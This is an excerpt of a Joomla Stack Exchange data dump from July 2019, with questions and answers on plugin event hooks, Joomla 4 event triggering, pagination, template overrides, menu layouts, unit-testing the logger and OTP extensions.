  <row Id="24899" PostTypeId="1" AcceptedAnswerId="24900" CreationDate="2019-07-08T14:54:31.507" Score="3" ViewCount="73" Body="&lt;p&gt;I have a plugin that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgExtensionLogInstall extends JPlugin&#xA;{&#xA;&#xA;    function onExtensionAfterInstall($installer, $extensionId) &#xA;    {&#xA;        JLog::add(&quot;Extension installed: &quot;.$extensionId, JLog::DEBUG, 'plg_extension_log_install);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This installs correctly and I can enable it, but when I install another extension it is never triggered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting some extra logging in &lt;code&gt;/libraries/joomla/event/dispatcher.php&lt;/code&gt; I can see two event listeners hooked to &lt;code&gt;onextensionafterinstall&lt;/code&gt; but neither of them is mine. The Extension XML file only contains the standard extension description and a files section like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.1&quot; type=&quot;plugin&quot; group=&quot;extension&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Plugin Logger&amp;lt;/name&amp;gt;&#xA;    &amp;lt;version&amp;gt;0.0.1&amp;lt;/version&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;installer_log&quot;&amp;gt;installer_log.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The event is never triggered, but if the code is broken it does crash when the installer would run. What is missing from my class or configuration?&lt;/p&gt;&#xA;" OwnerUserId="9900" LastActivityDate="2019-07-08T15:25:03.777" Title="Why is my plugin not hooking into events?" Tags="|development|plugin|plugin-events|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24900" PostTypeId="2" ParentId="24899" CreationDate="2019-07-08T15:25:03.777" Score="5" Body="&lt;p&gt;Plugin class name must match the plugin name defined in manifest file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have this in the manifest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;filename plugin=&quot;installer_log&quot;&amp;gt;installer_log.php&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then class name should be &lt;code&gt;PlgExtensionInstaller_Log&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other way around, if class is &lt;code&gt;PlgExtensionLogInstall&lt;/code&gt;, then manifest should contain this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;filename plugin=&quot;loginstall&quot;&amp;gt;loginstall.php&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-07-08T15:25:03.777" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24901" PostTypeId="1" CreationDate="2019-07-08T18:01:50.980" Score="2" ViewCount="378" Body="&lt;p&gt;I've inherited a quite old site running Joomla 1.5. I unfortunately cannot find the  URL for the admin login. www.website.net/administrator returns a 404 error. The server is running php 7.2. Any tips on where to get started here? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13630" LastActivityDate="2019-07-08T18:01:50.980" Title="Joomla 1.5 Administrator URL not working" Tags="|administrator|joomla-1.5|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24902" PostTypeId="6" CreationDate="2019-07-08T22:14:26.123" Score="0" Body="&lt;p&gt;I am Mick, a dual citizen of the USA and Australia, and an enthusiastic and devoted Stack Exchange volunteer with a passion for moderation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am relatively new to Joomla and Joomla Stack Exchange, but I am not new to web development nor the Stack Exchange Network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My experiences with SE sites (predominantly Stack Overflow) have largely shaped the programmer that I am today by challenging my skillset and exposing me to new techniques.  Because of all that SE has given me, I feel indebted to the network and strive to give back whenever possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've only been a member of JSE for a year and three months, but I've been online for the last 340 consecutive days (874 consecutive days on Stack Overflow).  You see, committing to the daily duties of a diamond moderator is no worry at all.  In fact, I often pop my head into JSE, SO, and CR while I am commuting to/from work, eating lunch, after the kids have gone to bed, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I love moderation as much as I love posting answers because helping to maintain the community is a vital part of giving back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...wow, have been typing for a while and noticed that I was 806 characters past the limit... I'll need to post on Meta I suppose.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-07-09T07:18:27.433" LastActivityDate="2019-07-09T07:18:27.433" CommentCount="4" CommunityOwnedDate="2019-07-08T22:14:26.123" ContentLicense="CC BY-SA 4.0" />
  <row Id="24903" PostTypeId="2" ParentId="22840" CreationDate="2019-07-09T14:02:03.817" Score="1" Body="&lt;p&gt;I would advice you to use &lt;a href=&quot;https://products.aspose.cloud/pdf/php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Aspose.PDF Cloud SDK for PHP&lt;/a&gt; to create PDF from HTML.&#xA;Here is a quick &lt;a href=&quot;https://docs.aspose.cloud/display/pdfcloud/Create+PDF+from+HTML&quot; rel=&quot;nofollow noreferrer&quot;&gt;example&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;use Aspose\PDF\PdfApi;&#xA;use Aspose\PDF\AsposeApp;&#xA;&#xA;// Initialize API&#xA;public $pdfApi = new PdfApi();&#xA;&#xA;// Upload file to Aspose Cloud Storage&#xA;$fileName = &quot;output.pdf&quot;;&#xA;$templateFile = &quot;input.html&quot;;&#xA;Utils::uploadFile($templateFile);&#xA;&#xA;// Convert file to HTML format&#xA;$result = $this-&amp;gt;pdfApi-&amp;gt;PutCreateDocument($fileName, $templateFile, $dataFile = null, $templateType = &quot;html&quot;, $storage = &quot;&quot;, $folder = &quot;&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: I am working as Developer Evangelist at Aspose.&lt;/p&gt;&#xA;" OwnerUserId="13631" LastEditorUserId="13631" LastEditDate="2019-07-09T14:18:50.767" LastActivityDate="2019-07-09T14:18:50.767" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24904" PostTypeId="1" AcceptedAnswerId="24905" CreationDate="2019-07-10T04:07:16.853" Score="2" ViewCount="1097" Body="&lt;p&gt;Can anyone explain or point me to information on the new way to handle events in Joomla 4? I'm updating a component that uses triggers to display plugins, and it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher = JEventDispatcher::getInstance();&#xA;$dispatcher-&amp;gt;trigger('onBeforeRenderToolbar', array($settings));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Joomla 4 this throws an error that there's no &lt;code&gt;JEventDispatcher&lt;/code&gt; class-- but the new &lt;code&gt;Joomla\Event\Dispatcher&lt;/code&gt; stuff doesn't make much sense to me and doesn't seem to have the same methods. The docs at &lt;a href=&quot;https://docs.joomla.org/Supporting_plugins_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Supporting_plugins_in_your_component&lt;/a&gt; have not been updated to support the new syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2019-07-10T05:19:15.157" Title="Updating JEventDispatcher triggers" Tags="|plugin|plugin-events|joomla-4.x|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24905" PostTypeId="2" ParentId="24904" CreationDate="2019-07-10T05:19:15.157" Score="2" Body="&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;Factory::getApplication()-&amp;gt;triggerEvent('onBeforeRenderToolbar', array($settings));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method can be used in 3.x too.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-07-10T05:19:15.157" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24906" PostTypeId="1" CreationDate="2019-07-10T13:26:47.710" Score="2" ViewCount="395" Body="&lt;p&gt;I'm searching a way to define a default intro image in the Joomla article creator from the core (when a user create an article if he don't add an intro image there is one by default generated from a file in my server).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Template override of com_content&lt;/li&gt;&#xA;&lt;li&gt;Inject into something like : &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IF content.images.length == 0 &#xA;THEN&#xA;show default image&#xA;ELSE&#xA;run normal code for displaying content images&#xA;END IF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;https://gitter.im/joomla/joomla-cms&quot; rel=&quot;nofollow noreferrer&quot;&gt;haydenyoung on Gitter&lt;/a&gt; for his help.&lt;/p&gt;&#xA;" OwnerUserId="13633" LastEditorUserId="12352" LastEditDate="2019-07-11T01:14:33.750" LastActivityDate="2019-07-11T01:14:33.750" Title="Define a default intro image on article submissions" Tags="|articles|com-content|images|default|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24907" PostTypeId="2" ParentId="24906" CreationDate="2019-07-10T17:30:28.967" Score="3" Body="&lt;p&gt;You would want to put this as a template override for com_content.  Depending on whether you want it to appear on the category page or single article, the file would go&#xA;&lt;strong&gt;/templates/TEMPLATE_NAME/html/com_content/category/blog_item.php&#xA;/templates/TEMPLATE_NAME/html/com_content/article/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would make a clone of existing view and then add code below to get the intro image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$images  = json_decode($this-&amp;gt;item-&amp;gt;images);&#xA;$intro_image = $images-&amp;gt;image_intro;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is check if empty and display:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if($intro_image !== '') {&#xA;       echo JLayoutHelper::render('joomla.content.intro_image', $this-&amp;gt;item);&#xA;&#xA;} else { ?&amp;gt;&#xA;       &amp;lt;div class=&quot;pull-left item-image&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;images/whatever/is/your/default.jpg&quot; alt=&quot;something&quot; itemprop=&quot;thumbnailUrl&quot;/&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't have time to test, so if there is an issue, comment and I will update my answer.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2019-07-10T17:30:28.967" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24908" PostTypeId="2" ParentId="850" CreationDate="2019-07-10T18:11:41.647" Score="0" Body="&lt;p&gt;Your plugin's folder is corrupted reload it from a backup. This happened to me when I accidentally moved the plugins folder into the templates folder in filezilla lmfao.&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2019-07-10T18:11:41.647" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24909" PostTypeId="1" AcceptedAnswerId="24910" CreationDate="2019-07-11T08:29:13.580" Score="0" ViewCount="71" Body="&lt;p&gt;I have implemented a pagination technique and the pages seems to work well when I edit in the url, but page 1 cannot be clicked and is still active even though I have changed to the second or third page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://carplate2.satumalaysiahosting.com/component/sppagebuilder/?view=page&amp;amp;id=62&amp;amp;start=8&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://carplate2.satumalaysiahosting.com/component/sppagebuilder/?view=page&amp;amp;id=62&amp;amp;start=8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db    = JFactory::getDbo();&#xA;$query = &quot;SELECT COUNT(*) FROM `#__bidding_items` WHERE `state` = '1'&quot;;&#xA;$db-&amp;gt;setQuery($query);&#xA;$total = $db-&amp;gt;loadResult();&#xA;&#xA;$limit=8;&#xA;$limitstart=0;&#xA;&#xA;jimport('joomla.html.pagination');&#xA;&#xA;$pagination = new JPagination($total, $limitstart, $limit);&#xA;&#xA;echo $pagination-&amp;gt;getPagesLinks(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13637" LastEditorUserId="12352" LastEditDate="2019-07-11T14:23:20.460" LastActivityDate="2019-07-11T14:23:20.460" Title="Pagination buttons aren't in sync with current page" Tags="|joomla-3.x|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24910" PostTypeId="2" ParentId="24909" CreationDate="2019-07-11T08:42:39.767" Score="0" Body="&lt;p&gt;You need to set &lt;code&gt;$limitstart&lt;/code&gt; argument to the current start item. You can get the value from input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app        = JFactory::getApplication();&#xA;$limitstart = $app-&amp;gt;input-&amp;gt;getInt('limitstart', 0);&#xA;&#xA;$pagination = new JPagination($total, $limitstart, $limit, $app);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-07-11T08:42:39.767" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24913" PostTypeId="2" ParentId="24133" CreationDate="2019-07-11T20:40:11.633" Score="0" Body="&lt;p&gt;The &quot;t3-module&quot; in the classes in the image there makes me suspect there's a template override going on, here. I'm not sure how confident you are in your php skills, but there's an opportunity there to edit that particular bit of module chrome in your template. (html/modules.php, probably)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OTOH, if you don't want to create your own override for the module format, then @mickmackusa's two-class approach will work fine, except in IE6 (which never liked that technique, but no one should worry about offending a browser from the last century these days).&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-07-11T20:40:11.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24914" PostTypeId="1" CreationDate="2019-07-12T11:03:25.680" Score="0" ViewCount="37" Body="&lt;p&gt;I am very new to Joomla and I am responsible for updating a website that has been created by another web administrator. &#xA;I have what I believe to be a module that I want to delete, I see it in the front end but have no idea where is it in the back-end. I looked everywhere (Modules, articles,...) but can't find it and the ex-web administrator skipped to give the module position in the administration guide. Please let me know where I should look in the back-end? Thank you &lt;/p&gt;&#xA;" OwnerUserId="13638" LastActivityDate="2019-07-12T11:03:25.680" Title="Deleting module from front-end I Can't find in the back-end" Tags="|module|module-display|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24915" PostTypeId="1" AcceptedAnswerId="28107" CreationDate="2019-07-12T15:08:01.230" Score="1" ViewCount="55" Body="&lt;p&gt;I have unit tests running for my component (using a bootstrap file to get the usual requirements) but as soon as I add any logging, I get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Class '\Joomla\CMS\Log\Log' not found`&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have tried mocking out the Log class, but I don't know how to assign my mock to the global JLog namespace. My tests were passing before I added logging to the methods, so I know that the bootstrap is good in principle, it just seems to be the log that is throwing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function setUp():void {&#xA;    parent::setUp();&#xA;    $this-&amp;gt;channel_store = $this-&amp;gt;createMock('ChannelStore');&#xA;    $this-&amp;gt;application = $this-&amp;gt;getMockBuilder(JApplication::class)&#xA;                              -&amp;gt;setMethods(['get', 'set'])&#xA;                              -&amp;gt;getMock();&#xA;    JFactory::$application = $this-&amp;gt;application;&#xA;&#xA;    $this-&amp;gt;log = $this-&amp;gt;getMockBuilder(JLog::class)&#xA;                      -&amp;gt;setMethods(['add'])&#xA;                      -&amp;gt;getMock();&#xA;&#xA;    //  JLog = $this-&amp;gt;log; ???&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do I need to do in order to mock out &lt;a href=&quot;https://docs.joomla.org/Using_JLog&quot; rel=&quot;nofollow noreferrer&quot;&gt;JLog&lt;/a&gt; correctly?&lt;/p&gt;&#xA;" OwnerUserId="9900" LastEditorUserId="12352" LastEditDate="2019-07-12T22:34:45.513" LastActivityDate="2020-05-26T16:37:11.970" Title="How do I unit test component methods that use the logger?" Tags="|custom-component|logs|unit-testing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24917" PostTypeId="2" ParentId="7230" CreationDate="2019-07-13T22:45:50.027" Score="1" Body="&lt;p&gt;I think the better way is to use the &lt;code&gt;Joomla.editors.instances&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will be able to validate that it has the textAreaId loaded and then update with the &lt;code&gt;setValue&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (Joomla.editors.instances.hasOwnProperty('yourTextAreaId')) {&#xA;    Joomla.editors.instances['yourTextAreaId'].setValue(value);&#xA;} else {&#xA;    // do you custom script as fail-safe&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tested this with codemirror, tinyMCE, none (when no editor is set) and it works very well.&lt;/p&gt;&#xA;" OwnerUserId="2166" LastActivityDate="2019-07-13T22:45:50.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24919" PostTypeId="1" AcceptedAnswerId="27902" CreationDate="2019-07-15T19:00:20.680" Score="4" ViewCount="588" Body="&lt;p&gt;I need to be able to specify different layouts of the same View by way of the Menu item, resulting in a url having &lt;code&gt;&amp;amp;layout=blahblah&lt;/code&gt; appended. - NOT using a template override. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e.: &lt;code&gt;index.php?option=com_things&amp;amp;view=things&amp;amp;layout=tabs&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/23324/multiple-templates-for-the-same-view-of-a-custom-component&quot;&gt;This question&lt;/a&gt; has the code and structure I'm using, and her own answer solves the problem of the url, but how does one get the choice of layouts to appear when the menu item is being created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://docs.joomla.org/Componentlayout_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; appears to be referring to it, but where does this field belong to get a list of the available layouts when creating the menu item?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; This is the actual file structure - where/how to get &quot;default&quot; or &quot;tabs&quot; to appear as a choice when creating a menu item.  The alternative layout works if I manually type &lt;code&gt;&amp;amp;layout=tabs&lt;/code&gt; into the browser, so how does one get it included in the link that Joomla generates from the menu item?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Emxug.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Emxug.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2019-07-16T14:51:34.250" LastActivityDate="2020-04-08T12:50:20.817" Title="How can I have multiple layouts for a View that are available as a menu option such as &amp;layout=xxx?" Tags="|custom-component|joomla-3.7|layout|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24921" PostTypeId="1" CreationDate="2019-07-16T05:30:40.937" Score="0" ViewCount="383" Body="&lt;p&gt;Are there any free plugins/extensions which send the OTP through registered email as well as a mobile number during the registration process?&lt;/p&gt;&#xA;" OwnerUserId="13494" LastEditorUserId="12352" LastEditDate="2019-07-16T08:38:28.857" LastActivityDate="2022-11-28T16:05:35.600" Title="OTP verification through SMS &amp; Email while registration" Tags="|joomla-3.x|extensions|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24922" PostTypeId="2" ParentId="24919" CreationDate="2019-07-16T07:38:13.027" Score="0" Body="&lt;p&gt;Currently, different layouts are considered to be different menu item types. To make your alternative layout listed as menu item type, create a &lt;code&gt;tabs.xml&lt;/code&gt; metadata file alongside &lt;code&gt;tabs.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-07-16T07:38:13.027" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24923" PostTypeId="2" ParentId="24844" CreationDate="2019-07-17T06:26:06.120" Score="0" Body="&lt;p&gt;solution to the problem! It's works for me&#xA;SxGeo &lt;a href=&quot;https://sypexgeo.net/ru/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sypexgeo.net/ru/download/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemAutochangelang extends JPlugin&#xA;{&#xA;    public function onAfterInitialise(){&#xA;        $app = JFactory::getApplication();&#xA;        if($app-&amp;gt;isSite()){&#xA;            $uri = $_SERVER['REQUEST_URI'];              &#xA;&#xA;            include_once __DIR__.'/SxGeo.php';&#xA;&#xA;            $SxGeo = new SxGeo( __DIR__ .'/SxGeo.dat', SXGEO_BATCH | SXGEO_MEMORY);&#xA;            $get_country = $SxGeo-&amp;gt;getCountry($_SERVER['REMOTE_ADDR']);&#xA;&#xA;            if($get_country != 'UA' &amp;amp;&amp;amp; strpos($uri, '/uk/') !== false) $uri = str_replace('/uk/', '/ru/', $uri);&#xA;            elseif($get_country == 'UA' &amp;amp;&amp;amp; strpos($uri, '/ru/') !== false) $uri = str_replace('/ru/', '/uk/', $uri);&#xA;&#xA;            if($uri != $_SERVER['REQUEST_URI']){&#xA;                header('HTTP/1.1 303 See Other');&#xA;                header('Location: '.$uri);&#xA;                exit();&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13608" LastActivityDate="2019-07-17T06:26:06.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24924" PostTypeId="2" ParentId="18751" CreationDate="2019-07-17T09:53:39.010" Score="0" Body="&lt;p&gt;The issue we have with sendgrid and mailgun is that once you have setup and send ok they go and change their IP and all the connection details fail. They have a rotation system for the smtp ip which breaks the connection on out server. &lt;/p&gt;&#xA;" OwnerUserId="13650" LastActivityDate="2019-07-17T09:53:39.010" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24925" PostTypeId="2" ParentId="24921" CreationDate="2019-07-17T11:20:42.267" Score="1" Body="&lt;p&gt;I haven't personally investigated or tested any of the following, but a quick Google search for &lt;code&gt;Joomla OTP verification&lt;/code&gt; revealed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/openotp-authentication/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/openotp-authentication/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/otp-verification-for-joomla/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/otp-verification-for-joomla/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/otp-verification-system-for-virtuemart/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/otp-verification-system-for-virtuemart/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.akeebabackup.com/products/loginguard.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.akeebabackup.com/products/loginguard.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You should take it upon yourself to download and trial these extensions so that you can come to your own conclusion about which one is best suited to your application.  Please always do your due diligence before asking for help/support/advice.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-07-17T11:20:42.267" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24926" PostTypeId="1" CreationDate="2019-07-17T12:58:45.617" Score="1" ViewCount="57" Body="&lt;p&gt;I'm trying to add J2Store cart to widgetkit grid stack layout with the following code in my &lt;strong&gt;administrator/components/com_widgetkit/plugins/widgets/grid-stack/views/widget.php&lt;/strong&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bUPmt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bUPmt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(JPATH_ADMINISTRATOR.'/components/com_j2store/helpers/j2store.php');&#xA;&#xA;$product = F0FTable::getAnInstance('Product', 'J2StoreTable')-&amp;gt;getClone();&#xA;&#xA;if ($product-&amp;gt;get_product_by_source('com_content', $item-&amp;gt;id)) {&#xA;    echo $product-&amp;gt;get_product_html();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code will not display the cart, but when I put above code inside of my &lt;strong&gt;administrator/components/com_widgetkit/plugins/content/joomla/plugin.php&lt;/strong&gt; file it works...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GYNY1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GYNY1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...but the cart button is positioned above all content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I do to display the cart via my &lt;strong&gt;administrator/components/com_widgetkit/plugins/widgets/grid-stack/views/widget.php&lt;/strong&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="9530" LastEditorUserId="12352" LastEditDate="2019-07-17T22:38:36.473" LastActivityDate="2019-07-17T22:38:36.473" Title="j2store add to cart widgetkit" Tags="|joomla-3.x|view|layout|j2store|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24927" PostTypeId="2" ParentId="10062" CreationDate="2019-07-17T14:52:26.573" Score="0" Body="&lt;p&gt;There are a couple of additional benefits for using the &quot;addXxxxx&quot; methods for loading stylesheets and javascripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are extensions you can install that will put those files together and gzip them into a single file, thus improving page speed (by reducing http requests and the file sizes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can use them in template and layout overrides to ensure required files get loaded. For example, if a few of your content items require a specific javascript library (such as a library to do Masonary-style dispalys of photographs) you can create a specific layout for those types of articles which will use that mechanism to load the js library and style sheets specific for those kinds of displays. This means that extra weight only gets added to the pages that need it, but still keeps the version information in one place, so one edit will change multiple page displays, rather than having to make multiple changes when things change (and we all know they &lt;em&gt;will&lt;/em&gt; change).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I consider those advantages, plus the ability to override those files with different copies when required, to be enough to make that my preferred way of adding them.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-07-17T14:52:26.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24928" PostTypeId="2" ParentId="2212" CreationDate="2019-07-17T16:10:26.320" Score="2" Body="&lt;p&gt;Chiming in with another possible solution. I just ran into the same issue that was confounding me. I tried turning SEF URLs off, swapped the .htaccess / .hthacces.txt files, etc. All the recs you will find while Google-ing a solution for this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unique problem: All the 404 articles were in the same sub-category, 3 layers down from root menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diagnosed Problem Cause: Alias of the menu and alias of the category were identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution: Rename category alias to &quot;alias-category&quot;, rebuild all menus, rebuild all menu items, rebuild the category. Problem solved!&lt;/p&gt;&#xA;" OwnerUserId="13424" LastActivityDate="2019-07-17T16:10:26.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
